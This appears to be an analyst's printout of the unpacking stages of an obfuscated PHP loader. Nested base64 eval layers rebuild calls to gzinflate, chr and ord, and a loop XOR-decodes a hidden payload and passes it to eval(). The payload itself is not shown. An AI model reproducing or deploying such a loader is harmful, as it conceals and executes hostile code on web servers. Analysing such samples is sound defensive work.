Decrypted code level 1:

eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJKSGgzUVVzMFRWaHFZMFJwUFdKaGMyVTJORjlrWldOdlpHVW9JbGx0Um5wYVZGa3dXREpTYkZreU9XdGFVVDA5SWlrN0pIaHdhVmxsVVhablJYRTBQV0poYzJVMk5GOWtaV052WkdVb0ltTXpVbmxpUjFaMUlpazdKSGhDZEdJeFEybGlibEpFTldJOVltRnpaVFkwWDJSbFkyOWtaU2dpV1RKb2VTSXBPeVI0YmpKVGFEVTNZV2xNYmtFOVltRnpaVFkwWDJSbFkyOWtaU2dpWWpOS2F5SXBPeVI0ZUZaeVJEUm9VVVZVUm1oWFBXSmhjMlUyTkY5a1pXTnZaR1VvSWxvemNIQmliVnB6V1ZoU2JDSXBPdz09IikpO2V2YWwoYmFzZTY0X2RlY29kZSgiSkhoR2NVUnBjblUxUjBwNFBTUjRlRlp5UkRSb1VVVlVSbWhYS0NSNGQwRkxORTFZYW1ORWFTZ2tlRVp4UkdseWRUVkhTbmdwS1Rza2VGbExVblZXVVZZNGFXbFRlajBrZUhCcFdXVlJkbWRGY1RRb0pIaEdjVVJwY25VMVIwcDRLVHM9IikpOw=="));
eval(base64_decode("JHgyMmpaOGU0eFJSRD0nJztmb3IoJHhkeE4xMDlxOGhFPTA7JHhkeE4xMDlxOGhFPCR4WUtSdVZRVjhpaVN6OyR4ZHhOMTA5cThoRSsrKXskeDIyalo4ZTR4UlJELj0keEJ0YjFDaWJuUkQ1YigoJHhuMlNoNTdhaUxuQSgkeEZxRGlydTVHSnhbJHhkeE4xMDlxOGhFXSleMTU5NDQ2OTExNSkpO31ldmFsKCR4MjJqWjhlNHhSUkQpOw=="));

Decrypted code level 2:

eval(base64_decode("JHh3QUs0TVhqY0RpPWJhc2U2NF9kZWNvZGUoIlltRnpaVFkwWDJSbFkyOWtaUT09Iik7JHhwaVllUXZnRXE0PWJhc2U2NF9kZWNvZGUoImMzUnliR1Z1Iik7JHhCdGIxQ2liblJENWI9YmFzZTY0X2RlY29kZSgiWTJoeSIpOyR4bjJTaDU3YWlMbkE9YmFzZTY0X2RlY29kZSgiYjNKayIpOyR4eFZyRDRoUUVURmhXPWJhc2U2NF9kZWNvZGUoIlozcHBibVpzWVhSbCIpOw=="));
eval(base64_decode("JHhGcURpcnU1R0p4PSR4eFZyRDRoUUVURmhXKCR4d0FLNE1YamNEaSgkeEZxRGlydTVHSngpKTskeFlLUnVWUVY4aWlTej0keHBpWWVRdmdFcTQoJHhGcURpcnU1R0p4KTs="));
$x22jZ8e4xRRD='';
for($xdxN109q8hE=0;
$xdxN109q8hE<$xYKRuVQV8iiSz;
	$xdxN109q8hE++){
	$x22jZ8e4xRRD.=$xBtb1CibnRD5b(($xn2Sh57aiLnA($xFqDiru5GJx[$xdxN109q8hE])^1594469115));
}
eval($x22jZ8e4xRRD);

$xwAK4MXjcDi=base64_decode("YmFzZTY0X2RlY29kZQ==");
$xpiYeQvgEq4=base64_decode("c3RybGVu");
$xBtb1CibnRD5b=base64_decode("Y2hy");
$xn2Sh57aiLnA=base64_decode("b3Jk");
$xxVrD4hQETFhW=base64_decode("Z3ppbmZsYXRl");
$xFqDiru5GJx=$xxVrD4hQETFhW($xwAK4MXjcDi($xFqDiru5GJx));
$xYKRuVQV8iiSz=$xpiYeQvgEq4($xFqDiru5GJx);
$x22jZ8e4xRRD='';
for($xdxN109q8hE=0;
$xdxN109q8hE<$xYKRuVQV8iiSz;
	$xdxN109q8hE++){
	$x22jZ8e4xRRD.=$xBtb1CibnRD5b(($xn2Sh57aiLnA($xFqDiru5GJx[$xdxN109q8hE])^1594469115));
}
eval($x22jZ8e4xRRD);